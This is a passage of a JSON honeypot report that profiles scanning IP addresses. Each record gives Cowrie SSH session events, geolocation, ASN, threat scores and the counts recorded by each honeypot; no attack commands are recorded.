        "Dionaea": 1
      }
    },
    "161.35.56.30": {
      "attack_count": 3,
      "first_seen": "2026-04-15T19:48:17.005Z",
      "last_seen": "2026-04-15T19:48:17.093Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 43.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.4,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 5,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-15T19:48:17+00:00",
        "last_seen_30d": "2026-04-19T09:18:04.165000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 18,
        "Cowrie": 3,
        "CitrixHoneypot": 1,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "184.105.139.67": {
      "attack_count": 3,
      "first_seen": "2026-04-16T11:21:00.385Z",
      "last_seen": "2026-04-16T11:21:00.386Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 30,
        "ports_targeted_30d": 66,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T10:18:58+00:00",
        "last_seen_30d": "2026-04-30T14:01:05.356000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 182,
        "Honeytrap": 105,
        "Redishoneypot": 22,
        "Miniprint": 9,
        "ConPot": 4,
        "CitrixHoneypot": 3,
        "Cowrie": 3,
        "Tanner": 3,
        "Dionaea": 1
      }
    },
    "199.21.150.105": {
      "attack_count": 3,
      "first_seen": "2026-04-30T04:17:53.597Z",
      "last_seen": "2026-04-30T04:18:54.556Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 7040,
      "as_org": "Netminders Server Hosting",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-30T04:17:53.597000+00:00",
        "last_seen_30d": "2026-04-30T14:17:31.864000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "8.209.236.13": {
      "attack_count": 3,
      "first_seen": "2026-04-26T10:29:44.772Z",
      "last_seen": "2026-04-26T10:30:32.234Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T13:21:59.036000+00:00",
        "last_seen_30d": "2026-04-26T10:31:39.740000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "113.10.187.199": {
      "attack_count": 2,
      "first_seen": "2026-04-09T12:12:43.598Z",
      "last_seen": "2026-04-09T12:12:56.644Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9269,
      "as_org": "Hong Kong Broadband Network Ltd.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T12:12:43.598000+00:00",
        "last_seen_30d": "2026-04-09T12:14:02.338000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.215.47.156": {
      "attack_count": 2,
      "first_seen": "2026-04-10T02:45:40.785Z",
      "last_seen": "2026-04-10T02:46:11.325Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 24139,
      "as_org": "Huashu media&Network Limited",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T02:45:40.785000+00:00",
        "last_seen_30d": "2026-04-10T02:47:20.150000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "114.34.187.209": {
      "attack_count": 2,
      "first_seen": "2026-04-22T03:15:50.334Z",
      "last_seen": "2026-04-22T03:16:21.066Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T03:15:50.334000+00:00",
        "last_seen_30d": "2026-04-22T03:17:22.876000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "115.191.27.83": {
      "attack_count": 2,
      "first_seen": "2026-04-25T07:30:28.098Z",
      "last_seen": "2026-04-25T07:30:28.099Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T07:30:28.098000+00:00",
        "last_seen_30d": "2026-04-25T07:31:37.029000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.179.163.226": {
      "attack_count": 2,
      "first_seen": "2026-04-29T11:37:07.416Z",
      "last_seen": "2026-04-29T11:37:20.979Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 23956,
      "as_org": "AmberIT Limited",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T11:37:07.416000+00:00",
        "last_seen_30d": "2026-04-29T11:38:30.727000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "151.26.110.54": {
      "attack_count": 2,
      "first_seen": "2026-04-11T00:25:20.300Z",
      "last_seen": "2026-04-11T00:25:34.314Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Bari",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T00:25:20.300000+00:00",
        "last_seen_30d": "2026-04-11T00:26:38.460000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "162.216.150.35": {
      "attack_count": 2,
      "first_seen": "2026-04-17T08:34:54.729Z",
      "last_seen": "2026-04-17T08:35:04.536Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Charleston",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 71.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 28,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T05:32:49+00:00",
        "last_seen_30d": "2026-04-28T19:15:10.566000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 22,
        "Cowrie": 2
      }
    },
    "165.154.226.74": {
      "attack_count": 2,
      "first_seen": "2026-04-06T16:07:59.970Z",
      "last_seen": "2026-04-06T16:08:00.110Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T16:07:59.970000+00:00",
        "last_seen_30d": "2026-04-06T16:09:01.284000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "179.97.65.67": {
      "attack_count": 2,
      "first_seen": "2026-04-27T09:52:56.457Z",
      "last_seen": "2026-04-27T09:54:56.477Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Guaratinguet\u00e1",
      "asn": 262797,
      "as_org": "PROVALE SCM LTDA",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T09:52:56.457000+00:00",
        "last_seen_30d": "2026-04-27T10:05:41.983000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "186.116.225.191": {
      "attack_count": 2,
      "first_seen": "2026-04-28T21:41:45.880Z",
      "last_seen": "2026-04-28T21:43:45.925Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cali",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T21:41:45.880000+00:00",
        "last_seen_30d": "2026-04-28T21:44:51.720000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "188.235.137.192": {
      "attack_count": 2,
      "first_seen": "2026-04-29T21:45:58.431Z",
      "last_seen": "2026-04-29T21:47:58.448Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Saratov",
      "asn": 50543,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T21:45:58.431000+00:00",
        "last_seen_30d": "2026-04-29T21:58:02.318000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "192.163.203.156": {
      "attack_count": 2,
      "first_seen": "2026-04-30T22:00:26.801Z",
      "last_seen": "2026-04-30T22:00:57.109Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T22:00:26.801000+00:00",
        "last_seen_30d": "2026-04-30T22:02:06.795000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "205.210.31.141": {
      "attack_count": 2,
      "first_seen": "2026-04-06T18:15:09.038Z",
      "last_seen": "2026-04-06T18:15:09.364Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 29,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T04:16:57+00:00",
        "last_seen_30d": "2026-04-29T12:14:16.824000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Honeytrap": 8,
        "Cowrie": 2
      }
    },
    "205.210.31.153": {
      "attack_count": 2,
      "first_seen": "2026-04-18T06:45:27.064Z",
      "last_seen": "2026-04-18T06:45:27.389Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 16.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 29,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T22:26:23.215000+00:00",
        "last_seen_30d": "2026-04-30T15:46:38.909000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Honeytrap": 11,
        "Mailoney": 5,
        "Cowrie": 2
      }
    },
    "209.202.4.29": {
      "attack_count": 2,
      "first_seen": "2026-04-24T07:42:48.709Z",
      "last_seen": "2026-04-24T07:43:19.172Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Dauphin",
      "asn": 7122,
      "as_org": "Bell Canada",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T07:42:48.709000+00:00",
        "last_seen_30d": "2026-04-24T07:44:22.483000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "211.221.215.114": {
      "attack_count": 2,
      "first_seen": "2026-04-21T03:05:17.774Z",
      "last_seen": "2026-04-21T03:05:30.156Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T03:05:17.774000+00:00",
        "last_seen_30d": "2026-04-21T03:06:39.685000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "216.126.86.146": {
      "attack_count": 2,
      "first_seen": "2026-04-14T04:36:37.008Z",
      "last_seen": "2026-04-14T04:36:49.945Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 7311,
      "as_org": "Frontier Networks Inc",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T04:36:37.008000+00:00",
        "last_seen_30d": "2026-04-14T04:37:55.387000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "219.102.230.41": {
      "attack_count": 2,
      "first_seen": "2026-04-25T13:31:20.856Z",
      "last_seen": "2026-04-25T13:31:51.373Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 2514,
      "as_org": "NTT PC Communications, Inc.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T13:31:20.856000+00:00",
        "last_seen_30d": "2026-04-25T13:32:57.903000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "220.123.74.61": {
      "attack_count": 2,
      "first_seen": "2026-04-09T10:28:55.329Z",
      "last_seen": "2026-04-09T10:29:09.694Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T10:28:55.329000+00:00",
        "last_seen_30d": "2026-04-09T10:30:14.676000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.132.100.78": {
      "attack_count": 2,
      "first_seen": "2026-04-07T01:30:41.555Z",
      "last_seen": "2026-04-07T01:30:57.418Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T01:30:41.555000+00:00",
        "last_seen_30d": "2026-04-07T01:32:00.492000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.10.113.216": {
      "attack_count": 2,
      "first_seen": "2026-04-04T22:25:07.729Z",
      "last_seen": "2026-04-04T22:25:07.985Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.0,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 2,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T12:41:33.572000+00:00",
        "last_seen_30d": "2026-04-05T15:07:18.964000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 25,
        "Cowrie": 2
      }
    },
    "47.144.100.142": {
      "attack_count": 2,
      "first_seen": "2026-04-15T23:29:45.374Z",
      "last_seen": "2026-04-15T23:29:58.728Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chino",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T23:29:45.374000+00:00",
        "last_seen_30d": "2026-04-15T23:31:04.202000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.142.74.19": {
      "attack_count": 2,
      "first_seen": "2026-04-09T15:51:07.971Z",
      "last_seen": "2026-04-09T15:51:22.559Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dongjak-gu",
      "asn": 7562,
      "as_org": "HCN Dongjak",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T15:51:07.971000+00:00",
        "last_seen_30d": "2026-04-09T15:52:29.500000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.127.131.253": {
      "attack_count": 2,
      "first_seen": "2026-04-22T03:11:21.057Z",
      "last_seen": "2026-04-22T03:11:34.714Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T03:11:21.057000+00:00",
        "last_seen_30d": "2026-04-22T03:12:36.226000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.138.160.201": {
      "attack_count": 2,
      "first_seen": "2026-04-23T18:04:29.667Z",
      "last_seen": "2026-04-23T18:05:00.171Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
